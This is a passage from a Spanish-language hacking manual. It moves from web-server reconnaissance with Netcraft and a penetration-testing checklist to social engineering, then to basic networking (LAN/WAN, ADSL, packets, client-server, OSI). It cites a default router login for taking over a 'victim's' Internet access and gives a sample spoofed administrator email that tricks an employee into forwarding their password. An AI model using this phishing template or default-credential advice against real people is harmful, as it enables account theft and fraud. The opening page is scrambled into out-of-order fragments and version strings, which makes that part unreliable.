nos llevará a miles de lugares distintos y no sabremos por donde empezar. etc 6. Quizá se puedan estar usando versiones parchadas11 a las que no afecte ninguna de las vulnerabilidades conocidas hasta el momento. En esta página hay un servicio llamado “What is this site running” que informa qué software esta usando para su servicio web.27 (unix) mod_bwprotect/0. 5.12 OpenSSL/.com is running Apache/1. y propietario del bloque de direcciones IP. En Internet existen básicamente dos programas para servir páginas web: IIS (de pago y de Microsoft).. 11 Los bugs (errores de programación) y ciertas vulnerabilidades severas pueden a veces solucionarse con un software especial. puede que sigan siendo vulnerables por la manera en que están dispuestas o configuradas.4. etc.2510 Mod _ssl/2. Podemos empezar usando la herramienta web netcraft. A veces. en un buscador como Google.2. es momento de buscar vulnerabilidades conocidas que afecten a esas versiones (en especifico) de las aplicaciones. los permisos no adecuados aplicados a un usuario. programas. en su listado refleja las debilidades de sistemas operativos. todo esto puede derivar en grandes problemas de seguridad que podemos aprovechar.. routers.Identificación del Sistema Aunque se puede deducir a partir de la identificación de servicios (existen servicios válidos únicamente para Windows o Unix) se requerirá comprobar en que plataforma y sistema operativo esta trabajando el servidor. Uno de ellos nos indica el Sistema Operativo y la versión del servidor web. pero que en su texto aparece esa palabra. por ejemplo. Es posible que netcraft. A menudo nos trae páginas que nada tienen que ver con la seguridad.com.org.09.Descubrir Vulnerabilidades y Verificación Ya que tenemos las versiones de los distintos sistemas y programas.xxxxx. así como los datos del proveedor de Internet donde está alojado. que evita el problema o alivia de algún modo sus efectos. Incluso podremos conocer el lugar geográfico donde se encuentra esa computadora. Por ejemplo: securitytracker. llamado Netblock owner nos lleva a un link en el que podemos conocer otros sites alojados en el mismo proveedor de caudal de Internet.com.0 PHP/4.Verificación de Aplicaciones No solo las aplicaciones en sí pueden ser vulnerables o no. Existen listados en la Red que se mantienen al día con las vulnerabilidades y explican en detalle el problema y como solucionarlo. Al introducir alguna dirección web aparecerá algo como esto: The site www. Pero aún así.0.3. independientemente de que su software se encuentre actualizado.8. Buscando por dominio.. Un programa en el directorio incorrecto dentro de un servidor web.com solo muestre un escueto: The site www. que cuenta con varios servicios. Netcraft también aloja las estadísticas de uso de servidores web.2 Mod_log_bytes/1.6b on Linux En el apartado más abajo. todoenseguridad. Otro servicio de netcraft es la búsqueda por nombre de dominio. gratuito y lo hay para Linux y Windows).1 frontpage/5.com is running Apache on Linux Lo que nos indica que el administrador ha hecho que la información sobre las versiones que usa no estén disponibles públicamente. así como la versión del Sistema operativo. pues los datos que ofrecen los servicios pueden estar falseados. estaremos buscando entre todas las direcciones que contienen la palabra “seguridad” en su nombre de dominio: seguridadempresarial.3.  denominado Patch (Parche). Esto esta muy bien por la información que puede darnos. si buscamos una página sobre seguridad. 41 .2 mod_bwlimted/1. Apache (el más usado.xxxxx.

9. En el contexto TCP/IP.Comprobación de las Medidas de Contención Es obligatorio saber cómo administrar de manera óptima los recursos disponibles y conocer quién tiene acceso a qué tipos de sistemas y además. Para este punto. Hay que mantener un sistema de respaldos de seguridad y recuperación de datos en caso de accidentes. se han hallado vulnerabilidades en varias ocasiones que permitían el acceso a la computadora que lo usaba para salir al Internet. si se han explotado con éxito y se ha obtenido algún dato.Verificación de Firewalls (Cortafuegos) Los Firewalls protegen los puertos y deciden quién y cómo debe conectarse a los servicios que ofrece el servidor. un ruteador es una entrada. pero un router puede escoger el mejor camino a lo largo de la red para que el paquete alcance su dirección de destino. En el software que lo compone. Si dabas con uno en Internet.. Sirve para comprobar el nivel de acceso a datos confidenciales que puede obtener un usuario no privilegiado de la red y hasta qué punto puede comprometer un sistema. Si también se obtiene ese dato. Más adelante en este documento hablaremos de este tipo de ataques. Un IDS es un programa con utilerías que vigilan la red en busca de ciertos patrones reconocibles de ataques y se les puede definir el lanzamiento de aplicaciones o distintas acciones al respecto.7. Nota de Advertencia Es necesario completar todos los pasos para poder sentirse seguro.Indagación de Denegación de Servicio La Denegación de Servicio (DoS) y Denegación de Servicio Distribuida (DDoS) consisten en realizar peticiones al servidor hasta saturar sus recursos.Contraseñas Después de todos los pasos anteriores.Comprobación del Router (Ruteador) El router (ruteador) es un servidor de red que mira las direcciones de la red en los paquetes que recibe antes de decidir si los pasa más adelante.Cotejo de los Sistemas Confiables Aquí se comprueba la seguridad desde el interior de la red hacia los servidores. que... podrías abrir todas las puertas del sistema. estar preparados para cualquier desastre. Haber encontrado un camino alterno para entrar en el sistema no significa que sea el único. 8. tan solo requerías teclear adminttd como username y password para reconfigurar el acceso a Internet de la víctima. Un ejemplo de DoS es inundar el correo de una persona con un millón de e-mails. Un puente sólo decide si pasa o no un paquete. es necesario descifrar. se necesita tener acceso directo a la red y ponerse en el papel de un usuario con ciertos derechos.. Cada adaptador se conecta a una red física diferente. Después hablaremos sobre los puertos. Además de dirigir el tráfico. 11. Un ejemplo de DDoS es un ataque a una página web. 10. 13.Revisión de los Sistemas de Detección de Intrusos (IDS) Otra de las herramientas básicas cuando se trata la seguridad en la red. Un router toma decisiones más inteligentes que un puente sobre los datos que pasa adelante. Más adelante hablaremos de los rompedores de contraseñas y acerca de las contraseñas ensombrecidas. si están cifradas. una computadora con dos o más adaptadores de red que está ejecutando algún tipo de software de ruteo IP. lo ideal sería haber obtenido algún archivo de contraseñas.. al router se le puede delegar la función de mapear puertos. 42 .. 12. Uno de los problemas más sencillos de explotar eran las contraseñas por defecto de los routers que la telefónica proporciona a sus clientes..

la ingeniería social es uno de los métodos más efectivos de recolección de información. incluso una servilleta puede ser útil de vez en cuando. pues no existe un manual práctico. El objetivo del hacker es conocer que existe algún tipo de información y hallar el modo de conseguirla sin violentar sistemas. Es de saberse que las personas vivas son las que tienen más vulnerabilidades que los fríos sistemas de proceso. Debemos tener en mente que la información no es más que una herramienta que otorga la posibilidad de ser usada y manipulada en beneficio de quien la posee. porque nunca sabemos cuando vamos a necesitar retrotraer la información que se recibe o adquiere. un sistema informático no solo se compone de hardware (el equipo físico) y software (los programas). Hasta el momento no se conoce una máquina que para ponerse en funcionamiento se acerque ella misma a la fuente de poder y se enchufe sola. puede reportar mucha más información que el más profundo estudio de vulnerabilidades técnicas. hoy por hoy. Es simplemente atacar a quien posee la información. Bien manejada. Existen datos que requieren ser anotados en papel. 43 . con la calidad de un corte de bisturí. existen vulnerabilidades que pueden ser explotadas en nuestro beneficio. Atacando al Personal La ingeniería social ha permitido las mayores estafas en la red. Esta actividad incluye desde la suplantación de identidades confiables hasta la búsqueda en botes de basura de la información relevante y. En ocasiones. pero espera ser develada. en conocerlas más profundamente para perpetrar posteriormente un ataque más elaborado. Debemos recordar que se puede atacar al software y se puede atacar al personal. de los conocimientos que pueda poseer la víctima. No solo basta con poseer los mayores conocimientos técnicos. La ingeniería social indaga en las costumbres de las personas. El personal del departamento de sistemas computacionales de cualquier empresa también forma parte integral del sistema informático. No hay duda de eso. Un hacker siempre sabe que es bueno conocer algo. una llamada telefónica fingiendo ser un técnico o una oportuna visita a la empresa. Las máquinas no funcionan solas y siempre existen personas de carne y hueso detrás de ellas y de cada sistema. al igual que la computadora y los programas que en ella residen. Nunca hay que dejarla en la memoria propia. Esta técnica consiste básicamente en mantener un trato social con las personas que custodian los datos. Muchos grandes ataques se han generado a partir del enfoque al personal. Se puede ver a un sistema informático como un cúmulo de información que ahí está.La Ingeniería Social La ingeniería social (Social Engineering) se ha convertido. porque esto llega a ser un problema de seguridad importante. captar y almacenar uno o dos datos. a menos que uno tenga memoria fotográfica. A diferencia de lo que la mayoría de las personas creen. o pasarlos a un medio extraíble como una diskette o memoria flash. pero también hay que conocer como detectarlas y prevenirlas. Es la forma en que se puede conseguir información sin usar una computadora. del Know-how del atacante y sus habilidades. Hay mucha variedad en el ataque contra el software. simplemente porque que es muy volátil y la información puede perderse para siempre. es el tipo de ataques del que menos se habla. etc. en una de las principales armas de los hackers. depende mucho de las circunstancias. Cuando hablamos de atacar al software nos referimos simplemente a enfocar nuestra atención en el Sistema Operativo o en los programas de usuario. con toda probabilidad. No existe ningún tipo de información que sea totalmente inútil para un hacker. Al hablar de atacar al personal nos referimos a lo que se ha dado a llamar Ingeniería Social.

Y no es porque esa gente peque de estúpida o que sean muy ingenuas. Hay que tener ciertos aspectos en mente. Cuando se manejan muchos datos críticos hay que volverse un poco paranoico. 44 . Si sabemos su correo electrónico. de aquí de Sistemas. “soy estudiante y necesito cierta información” predisponen a la potencial víctima a facilitar información. Debe ser capaz de ir más allá de lo que indica un simple gesto o lo que realmente quiere decir una frase. Como en una compañía grande no siempre contesta la misma persona. Para atacar al personal se pueden usar técnicas agresivas. Esta es la razón por la que nadie sale de su casa sin haber echado llave a la puerta. el porcentaje de éxito del que goza y los resultados que arroja.Las personas siempre son la mejor fuente de información a la hora de revelar datos que no deben. Al final solo se requiere unir todos los pedazos para apreciar el cuadro final. Un hacker tiene que ser también un buen psicólogo. A ésta técnica se le conoce como “picotear el maíz”. echando una ojeada a las pantallas mientras te paseas por las instalaciones. resulta sorprendente lo mucho que se usa esta técnica. las personas se vuelven desconfiadas. solo hay que saber donde. hasta pueden perder su empleo. Gracias. se puede falsear el propio y escribirles un correo parecido a este: From: administrador@empresavictima.) A vuelta de correo   te enviaré una nueva para  que puedas memorizarla. sino que es condición natural de muchas personas la sociabilidad. Esto mejora cuando la empresa a la que visitas es de las grandes. El programa detector de espías se activó y aunque no se  menciona nada en el reporte. no hay que bajar la guardia. la recolección se haría en varias llamadas y anotando en papel cada pedacito de información vital. Sin embargo. variando las preguntas. Esto es lo que sucede a menudo con compañías como America Online (AOL). pues  no me fío. Como parte de la técnica puede estar el ir personalmente a la oficina y comprobar como trabajan. En muchas ocasiones. Es bien sabido que la gente se siente más atraída por personas que parecen “desvalidas”. Hay veces que en una llamada telefónica no se obtienen los datos buscados. Por supuesto. donde el personal casi no se conoce. esto puede también ser infructuoso y no obtener ni un ápice de información. tras sufrir una experiencia de este tipo. La desconfianza es el principio de la seguridad tanto en la vida real como en la virtual. situaciones. A las personas les gusta ayudar.com  Saludos Isa. soy Mefrunzo del Hoyo. etc. Me parece que alguien  nos ha estado espiando.com  To: isabeltontamevi@empresavictima. Después de que lo hagas. Personas con mayor don de gentes pueden lograr mayor información. cuándo y como aplicar la técnica. Frases como “Hola. haz  favor de eliminar este correo inmediatamente para mayor seguridad. Ahí está el riesgo y la prueba. Lamentablemente. soy nuevo”. siempre hay que saber donde está el límite. según estadísticas. En resumen. Por favor envíame tu  contraseña a esta dirección de correo (sólo dale un “Forward”. las ganas de ayudar al prójimo y sentirse útiles. pero sin sentirse agobiadas ni atacadas. el sentido común indica que hay que poner ciertos límites. Sobra decir que esto le puede jugar una mala pasada a los empleados que manejan la información sensible si se llegan a topar con alguien que tenga la capacidad de aprovecharse de ella. pero desde luego. la información se resbala por error y el hacker siempre estará preparado para recibir cualquier pequeño dato y guardarlo. Esta es la actitud adecuada siempre. Aunque los humanos solemos ser inherentemente buenos. entender el comportamiento humano. prever las reacciones y anticiparse a los acontecimientos. Voy a cambiar todas las contraseñas  del personal y necesito las antiguas para colocar las nuevas.

las terminales. entonces lo ignora. como ya se explicó antes. Un campo de dirección dentro del paquete indica a quien va dirigido. por ejemplo local. Es por eso que para aprender a manejar el Internet desde sus entrañas hay que conocer como manejar sus entresijos. Tecnología de transmisión: Hay dos tipos de tecnología de transmisión: las redes de difusión y redes punto a punto. 12Las palabras Cliente y Servidor se van a usar en este documento muy frecuentemente. pues lo procesa. El software de aplicaciones está formado por programas informáticos que se comunican con los usuarios de la red y permiten compartir información (como archivos. si está dirigido a otra máquina. las computadoras se envían entre sí mensajes y peticiones directamente sin utilizar un servidor como intermediario. así que hay que familiarizarse con  ambas. Una red tiene tres niveles de componentes: el software de aplicaciones. gráficos o vídeos) y recursos (como impresoras o unidades de disco. La gran mayoría de las empresas poseen una red local que puede variar su tamaño. Otro tipo de software de aplicación se conoce como "de igual a igual" (peer to peer o como se conoce hoy en día P2P. Las computadoras cliente envían peticiones de información o de uso de recursos a otras computadoras llamadas servidores.) En una red de este tipo. impresoras y otros recursos variados. Los usuarios de una red. pueden compartir archivos. que controlan datos y aplicaciones. etc.) Un tipo de software de aplicaciones se denomina cliente-servidor12. La conexión puede ser por cables o inalámbrica. conexiones físicas y programas informáticos que son utilizados para conectar dos o más computadoras. 45 . Las Redes Las redes son el conjunto de técnicas. el software de red y el hardware de red. Los mensajes cortos (llamados paquetes) que envía una máquina son recibidos por todas las demás. las computadoras. Una máquina que recibe el mensaje verifica la dirección a ver si está dirigido a ella. Existen dos dimensiones para usarse como clasificación y que sobresalen por su importancia: la tecnología de transmisión y la escala. Si es así. Hardware de Red En lo que respecta al hardware de red tenemos.Lo Más Básico Sobre Redes La Internet no es más que una gigantezca red de computadoras y sistemas comunicándose entre sí. Las primeras poseen un solo canal de comunicación que es compartido por las demás máquinas en la red. Enviar mensajes electrónicos y ejecutar programas en otras computadoras son unas de las tareas que más se efectúan en una red. routers (enrutadores).

Wide Area Network). en un edificio o en una zona mucho más amplia. En contraste. Son redes de propiedad privada dentro de un campus o un edificio. Como regla general (aunque existen muchas excepciones). Debido a esto. el paquete se recibe completo en cada router intermedio. WAN Son las redes de computadoras conectadas entre sí en un área geográfica relativamente extensa. entonces deberán hacerlo por medio de otros routers. las redes pequeñas se manejan por difusión. En casi todas las WAN. compartidas por muchos usuarios. son las que cubren un área mayor que las LAN y menor que las WAN. Este tipo de redes suelen ser públicas. Inclusive en un cuarto donde existan dos computadoras conectadas una con la otra. Cada router tiene una antena por medio de la cual envía o recibe datos. es decir. las redes de satélite son de difusión y son más útiles cuando la propiedad de difusión es importante. Por su naturaleza. A este modo de operar se le conoce como broadcasting (difusión). Metropolitan Area Network) y redes de área amplia (WAN. Pueden ser públicas o privadas y abarcar desde un grupo de oficinas en edificios separados hasta una ciudad completa. hablamos de una red LAN. un paquete quizá deba visitar de una a varias máquinas intermedias. mientras que las redes más grandes suelen ser punto a punto. se almacena hasta que la línea de salida requerida está libre. Pueden abarcar desde dos ciudades hasta un continente. Una subred basada en este principio se conoce como de punto a punto (o también. LAN Red de datos para dar servicio a un área geográfica máxima de unos pocos kilómetros cuadrados. Local Area Network -Redes de Área Local). la red posee numerosos cables o líneas telefónicas conectadas a un par de enrutadores (routers). Todos los routers pueden oír las salidas enviadas desde el satélite y en algunos casos pueden oír también las transmisiones de otros routers hacia el satélite. No existen en las MAN conmutadores (que desvían los paquetes de datos a través de una o varias líneas de salidas potenciales) por lo que su diseño se simplifica. las redes punto a punto consisten en muchas conexiones entre pares individuales de máquinas. Si dos routers deben establecer comunicación pero no están conectados por medio de un cable. y a continuación se reenvía.Los sistemas de difusión pueden permitir que por medio de un codigo especial en el paquete. Dependiendo del tamaño de la red recibe un nombre genérico. por lo cual pueden optimizarse los protocolos de señal de la red para llegar a velocidades de transmisión de Gbps (Gigabits por segundo). Una MAN puede manejar el uso de voz y datos por lo que se les relaciona a veces con las redes de televisión por cable local. redes metropolitanas (MAN. un mensaje sea enviado a todos los destinos y sea aceptado y procesado por todas las máquinas. Para ir de un origen a un destino. Una segunda posibilidad para una WAN es un sistema de satélite o de radio en tierra. las redes se pueden dividir en redes locales (LAN. Puede haber redes que quepan en un solo cuarto. 46 . MAN O Red de Área Metropolitana. como de paquete conmutado). Las redes de este tipo funcionan de manera similar a las LAN y las diferencia simplemente el tamaño. Contiene una colección de máquinas llamadas hosts que ejecutan programas de usuario. Escala: Un criterio para clasificar las redes es por su escala. Cuando se envía un paquete de un router a otro a través de uno o más enrutadores intermedios.

o todos los sistemas conectados a la misma línea de comunicación si es a través de cable coaxial. Incluso en casas existen redes inalámbricas dado el relativo bajo costo. con hosts conectados entre sí mediante cualquiera de las topologías. Como todo en la vida. Permite la transmisión de datos y voz. Telnet. la topología se refiere a la manera de conectar las computadoras o sistemas. Este tipo de red tiene gran utilidad para uso de flotillas de taxis.Redes Inalámbricas Puesto que tener una conexión por cable es imposible si se va en carro. Pronto. tales como el correo electrónico. mediante el empleo de los protocolos TCP/IP. Los hosts están conectados por una subred de comunicación cuyo trabajo es conducir los mensajes de un host a otro. cada topología tiene sus ventajas y desventajas.hospedar) describe el hecho de almacenar algún tipo de información en un servidor ajeno. Modo de Conexión Aunque mucha gente sigue usando el módem para conectarse a Internet. también conocido como sistema anfitrión o sistema principal. 47 . en la milicia y transportistas. si en la red se dispone de un hub o concentrador (en una red. los módem serán historia. intersección de anillos y de forma irregular. Se denomina asimétrica porque permite más velocidad en la recepción de datos por parte del usuario que en la emisión de datos por éste. ADSL es una tecnología de transmisión de tipo xDSL. A los hosts también se les conoce como sistema terminal (End System). anillo. sin duda la conexión óptima es el ADSL o Asymmetrical Digital Subscriber Line (Línea de Subscripción Asimétrica Digital). Las topologías primarias utilizadas son de estrella. La acepción verbal (To host . completa. permite a los usuarios comunicarse con otros sistemas anfitriones de una red. árbol. que permite a los hilos telefónicos de cobre convencionales una alta velocidad de transmisión. es la computadora central) o switch (conmutador). Hablando de redes locales. Aquí nos enfocaremos más que nada en las redes locales. tren o avión se hace uso de redes inalámbricas. Puede ser en forma de estrella. es una computadora que. Los usuarios se comunican utilizando programas de aplicación. WWW y FTP. Los Hosts Host o Host System. Topología Las redes se clasifican en categorías generales de acuerdo con su forma.

No debemos confundir los términos Megabits y Megabytes. Esto se debe a que la compañía de teléfonos utiliza implementos para amplificar la voz que son incompatibles con ADSL. Esta forma de repartir la frecuencia. dividiendo una parte para voz y otra para datos. por fin.La ADSL se aprovecha de que el cable del teléfono se puede usar por encima de los 3400 Hz (o veces por segundo). Cuando alguien quiere enviar una carta. calle y. es por esta razón que tardamos más en subir un archivo del mismo tamaño en Kb a la red que descargarlo de ella. que es lo que necesita la transmisión de voz. El sobre tiene un formato determinado. Es por eso que a mayor distancia. ADSL es una tecnología que depende de la distancia. 1 Megabit = un millón de bits. La carta es recogida por el encargado de recoger los sobres de los buzones. al frente. Para hacer esta división de rangos y darle a la voz lo que requiere para después usar el resto para transmitir datos. menor la velocidad a la hora de recibir y enviar datos. Un bit puede ser 1 ó 0 y puede definirse como la unidad básica de información representada por ceros y unos que se van sucediendo para conformar los distintos significados. necesitas el Splitter tanto en casa como en la central telefónica. como cuando se sube un video a la página de YouTube). debemos primero introducirla en un sobre. Las velocidades de ADSL que se manejan en México suelen ser 256 Kilobits de bajada (recepción de datos. Una vez allí. otro cartero se encarga de llevarla a la ciudad. no así la voz. avión) a la ciudad a donde pertenece la dirección destino. Como esta acción se ha venido haciendo por tradición durante muchísimos años. y la dirección origen o remitente. En una gran conexión única a Internet. medianos y grandes. En el sobre requerimos escribir la dirección destino. siempre volteará el sobre para ver los datos de quien la envío. Hay que ponerle una estampilla que será de diferente costo y forma según las especificaciones de distancia. Bits Los bits por segundo (bps) son usados para definir la velocidad de transmisión entre dispositivos en virtud de que muestran de manera más clara la cantidad de “pulsos” o bits que las líneas son capaces de enviar por segundo. solo se puede garantizar un 10% del caudal de información. Se coloca la carta en el buzón. 48 . Siempre que alguien desee ver en donde se originó la carta. Lo de asimétrica viene de que no se consigue la misma velocidad a la hora de enviar o de recibir datos. dado que existen sobres pequeños. colonia. se ha vuelto un pequeño protocolo. a la zona postal. hace posible que al estar en Internet el teléfono no se bloquee. Si por alguna razón los datos pertenecen a una dirección que no existe. en el reverso. Transmisión De Datos A Través De Una Red Lo más sencillo para entender esto es imaginarse como es que funciona el servicio de correos físico que existe en todo país – y que hoy en día conocemos en forma despectiva como Mail Snail (Correo Caracol en inglés). como cuando uno baja un programa o una canción en MP3) y 128 Kilobits de subida (envío de datos. Posteriormente será clasificada por el personal de la oficina de correos y enviada según los distintos medios (tren. a la casa indicada por el número. la carta volverá a su origen mas o menos de la misma manera. el resto debe reparte entre otros abonados. 1 Megabyte= 1024 bytes (8192 bits) Debe recordarse que 1 byte es igual a 8 bits.

este debate durará mucho más tiempo que el que tenemos de vida. inclusive los mensajes enviados desde la casa misma del empleado después de las horas de trabajo. Lógicamente. En pocas palabras. Cada nivel se encarga de realizar distintas funciones en la información. de destino. cable coaxial. Aunque los moderadores del foro mencionan que al censurar se evitan los caldeos de ánimos y las guerra de fuego (flame wars). los paquetes de datos pueden ser mayores. Aún si los patrones tienen poder sobre sus empleados. Por otro lado. esto es. de ahí que sea imprescindible que el paquete contenga la dirección que identifica tanto su origen como su destino. las redes permiten a las personas comunes y corrientes compartir sus puntos de vista en diferentes formas. en diferentes lenguas y a diferentes públicos que antes estaban fuera de su alcance. Si se quiere transmitir 100 Kb de información. dirección de origen. a mayor velocidad de transmisión. tipo de información que contiene. que el mismo nivel en el nodo destino irá eliminando por haber cumplido ya su función. los paquetes de datos deben ser más pequeños. siempre existen conflictos sociales. Esta nueva libertad trae consigo muchos problemas sociales. la trama debe llegar a un dispositivo de interconexión de redes (router. si se obliga a los operadores a censurar los mensajes. el sobre es el paquete con el formato impuesto por el protocolo de transmisión (TCP/IP. políticos y morales aún no resueltos. Paquetes de Datos Los paquetes de datos son también conocidos como datagramas. Obviamente no todos los empleados están de acuerdo con esto. los datos escritos en la carta son la información que se desea transmitir. cable telefónico. la dirección del remitente y destinatario serán las computadoras físicas.) Finalmente. Existen personas que han demandado a los operadores de redes reclamando que son responsables por el contenido que consideran objetable. sobre todo en lo que respecta a los derechos de los empleados y los de los patrones. los medios de transporte son los medios de transmisión (ya sea fibra óptica. carteros y demás personal son los protocolos de comunicaciones establecidos. donde no se permite hablar de política y se elimina cualquier mensaje que trate sobre este tema. añadiéndole información de control (por ejemplo un matasellos). el medio de transmisión lo permite por su estabilidad. porque alegan que el sistema en uso es de su propiedad ¿esta relación también gobierna a universidades y estudiantes? Las redes de computadoras ofrecen la posibilidad de enviar mensajes de manera anónima y en estas situaciones. 13(Pasarela) Punto de una red que actúa como punto de entrada a otra red. como Meristation. Muchas personas leen y escriben correos electrónicos en su trabajo y algunos patrones han reclamado el derecho de poder leer y quizá censurar los mensajes de los empleados. como se hace hoy en ciertos foros de discusión. Así es como conocemos a una ráfaga de información. esta capacidad puede ser deseable. Si se está usando el modelo OSI de la ISO.  49 .En esta analogía. menor fiabilidad. por ejemplo). muchos argumentarán que se está violando el derecho a la libertad de expresión. etc. gateway13) que decidirá el camino que debe seguir para alcanzar su destino. Consideración Social Sobre Redes Cuando se habla de transmitir o recibir datos en una red de computadoras. para que el riesgo de perderse sea menor. cada uno con los datos necesarios para poder desenvolverse solo por la red. dividirlo en conjuntos de bits. es como decir que la carta esta pasando por 7 filtros diferentes (trabajadores con distintos cargos de responsabilidad) desde que la ponemos en el buzón hasta que llega a su destino. las normas del servicio de correo. es mucho más sencillo. La respuesta inevitable es que una red es análoga a una compañía de teléfonos o como la oficina postal y no puede esperarse que los operadores vigilen lo que los usuarios dicen o escriben. Si por el contrario. Si el medio de transmisión es poco fiable. Si la información va dirigida a una red diferente.

se establece una comunicación entre procesos requeridos por una máquina (cliente) y prestados por otras (servidor). En sus inicios. cuando gestionan las redes a su cargo. Los programas servidores se ejecutan en grandes computadoras tipo servidor con complicados sistemas operativos. El servidor solo debe preocuparse de servir los datos cuando le son solicitados. que son programas compuestos en dos partes. Limewire o Ares. Debemos saber que para que la filosofía cliente y servidor sea una realidad. jamás por el servidor. mediante Telnet a una consola remota y trabajar desde ahí o ejecutar desde ese lugar las aplicaciones que necesitaban para hacer su trabajo. La comunicación establecida siempre consta de dos partes: petición y respuesta. En resúmen. La arquitectura cliente-servidor es explotada muy hábil y eficientemente por los nocivos troyanos. pero eso lo veremos en detalle más adelante en este documento. existe un idioma informático universal llamado Protocolo TCP/IP y que se explicará más adelante. mientras unas hablan. evitan usar los términos cliente y servidor. La solución que se aplicó fue tener una computadora potente y varias de poca potencia que aprovechaban el servidor central. Para evitar confusiones entre los programas de aplicación llamados por los usuarios y las aplicaciones reservadas a los administradores de red. Con frecuencia. ambas acciones iniciadas por el cliente. los clientes acceden a los recursos enviando peticiones al servidor y este a su vez. Muchas de estas computadoras son lo bastante poderosas para operar a la vez varios servidores de diferentes servicios. A estas estaciones de trabajo (workstations) se les denominó terminales. una llamada cliente y otra que funciona como servidor. De este modo. se requería que las personas trabajasen en red con las mismas aplicaciones. Con la arquitectura cliente-servidor. los programas cliente son invocados por el usuario y se ejecutan en la computadora de éste. Su única función era conectarse. En este sistema. La filosofía Cliente-Servidor es una arquitectura informática de uso común en internet y es la que se utiliza como base de los programas de intercambio de archivos como los hoy modernos eMule. por ejemplo. 50 . todos los detalles de cómo trabaja el servidor se ocultan al cliente. lo recoge y procesa si es lo que esperaba.Filosofía Cliente y Servidor Internet es una gran red compuesta por miles de LANs (redes de área local) que se comunican entre si. devuelve una respuesta tras realizar un trabajo. El cliente solo pide algo al servidor sin necesitar saber cómo se ha producido. otras responden o se encuentran escuchando. la aplicación cliente del administrador de sistema es llamada administrador y la que se ejecuta en un dispositivo de red se conoce como agente. Hay que hacer la aclaración que los administradores de sistemas. que es el elemento pasivo. en su lugar.

Ésta estandarización dicta la cantidad de ingredientes y otros factores como la temperatura de la parrilla y el tiempo que debe estar la carne sobre ella. o de una empresa. quedaría aislado del resto de la comunidad.5 gramos de un ingrediente. En resúmen. Aquel que quiera formar parte de este mundillo debe diseñar sus programas o dispositivos siguiendo unas características que sean comunes a todos. Excepción a la Regla Pero. El objeto de estandarizar los procesos permite tener siempre un nivel de calidad. ¿cómo es que funcionan en el Internet? Esto es porque existen los Estándares y las Normas. Nadando en el caos y los problemas. aparecen nuevos estándares no oficiales que son incompatibles con los que se encontraban vigentes en ese momento. pero como tiene un sistema operativo dominante en el mercado y aplicaciones muy utilizadas y extendidas alrededor del mundo. Los estándares de redes permiten que diferentes computadoras. sea a principio de año o a finales del mismo. Luego. Para establecer un orden que todos puedan seguir. los usuarios lo aceptan sin chistar (aunque a la mayoría ni le interesa lo más mínimo la cuestion de los estándares siempre y cuando las aplicaciones le funcionen a su gusto y como debe ser). se deben acordar ciertos estándares. ya que si no lo hiciera. Si en la receta dice 2. no importa en qué fecha lo hagamos. todo sería un caos completo. no queda mas que hacer de tripas corazón y crear los diseños sobre la base de los estándares existentes. los pobres administradores de los sistemas deben darse a la tarea de crear aplicaciones sobre la base de las modificaciones introducidas a chaleco por William Gates desde su escritorio.Estándares y Normas Cuando vamos a MacDonald's o a Carl Jr. Microsoft es una compañía gigantezca y poderosa que se salta muchos de los estándares en Internet. Sin coordinación. La compatibilidad en las comunicaciones es básica para garantizar su crecimiento. el producto final sufre y el consumidor se dará cuenta. pero cuando aparecen una serie de cambios arbitrarios. A veces puede suceder que sale una modificación que es legal y justa. en virtud de los caprichos de la compañía creadora de Windows. no más. ni menos. si hay gente que usa Winxx. Esto se debe principalmente a que la preparación de las hamburguesas en esos lugares se basa en la estandarización. ¿de qué le serviría a un programador estrella diseñar un navegador de Internet que fuese diez veces más rápido y dos veces más seguro. Siempre sabrán igual. como en todo en la vida. pero que no estuviera basado en el protocolo http? Lo más probable es que nadie lo usaría porque ningún sistema de los que existen actualmente lo entendería. pero tardaría un buen tiempo en que fueran aceptadas por los demás miembros de la comunidad. otras están conectadas por módem y otras por ADSL. o si el tiempo en parrilla fue excesivo. Si un componente de los ingredientes falta. existen excepciones a la regla. deben hacerse un montón de cambios para ponerse al día con las nuevas disposiciones decretadas antidemocráticamente. puedan conectarse sin problemas. Si consideramos que cada computadora esta configurada según el deseo de su usuario. Como no tendría usuarios para tal programa. por ejemplo. Al menos tendría que hacerlo de modo que pueda usarse en alguna plataforma como Linux o Macintosh. fibra óptica o cable. O quizá tendría que crear sus propios estándares y normas basándose en su diseño. Sería la oveja negra del grupo. a comer una hamburguesa. Debemos considerar esto. Linux o Macintosh. 51 . satélite. siempre deberán usarse esos gramos. cada uno con sus propias ideas de cómo deben hacerse las cosas. los usuarios jamás podrían sacar provecho de la red que se ha puesto a su disposición. inclusive a ambos extremos del mundo. Existen muchos proveedores de servicios de red en el mundo.

Abarcar todos los problemas que surgen de una vez puede resultar infructuoso. Los niveles implementan a un grupo de operadores de una cadena de producción. pero muy caprichosa. voluble y a veces. supone que los niveles anteriores han solucionado unos problemas de los que ellos se desentienden. OSI u Open Systems Interconnection (Interconexión de Sistemas Abiertos). trabajar a “alto nivel” significa tener todas las comodidades. incluyendo la informática y las comunicaciones. esta forma de pensar y actuar. En cuestiones de informática. para retomar después el problema original. imaginemos una cadena de montaje.Capas de Red Introducción Modelo OSI. si bajáramos más niveles. Es el modelo de referencia diseñado por comités ISO con el objetivo de convertirlos en estándares internacionales para la arquitectura de redes de computadoras. Al presentarse un problema. pulsando las teclas y guardando el documento. caro y desastroso. al bajar un nivel. imprimirla. abriendo archivos o enviando éstos al dispositivo de impresión. proporciona la respuesta adecuada. entonces se busca la solución más sencilla posible. Está formada por las organizaciones de estandarización de sus países miembro. Se basa en el “divide y vencerás”. Pulsamos un icono en la barra de herramientas con el ratón y el texto se pone en negrillas. sólo tenemos que “usarlo”. al escribir en un procesador de texto (como Word o el Open Office). Es de esta manera que nacen lo que se ha llegado a conocer como las Cajas Negras. veremos como se mueve el brazo del disco duro para encontrar un hueco donde colocar los datos escritos. que divide los protocolos de las redes en 7 capas que siguen la filosofía de “el que esté más abajo que se las arregle solo”. Todo lo anterior se hace sin saber que.Organización Internacional para la Estandarización) Es una organización de carácter voluntario fundada en 1946 que es responsable de la creación de los estándares internacionales en muchas áreas. a los niveles superiores que de nuevo se preocupan por resolver sus propios problemas e ir mejorando así el producto que se esté elaborando. Sin dejar de usar el ejemplo de un procesador de texto. Si nos aventuramos a descender un nivel más. Se llama caja negra a todo lo que. exageradamente complicada de entender. existen procesos internos que trasladan lo que sale en pantalla hacia el disco duro o enviando los datos a la cola de impresión. porque existen cosas más allá de lo que se ve a primera vista. ISO (International Organization for Standarization. Aunque parezca egoísta. sin importar como funciona. 52 . Por ejemplo. buscar un hueco en la memoria para representarla en la pantalla. La organización que se encarga de regular los 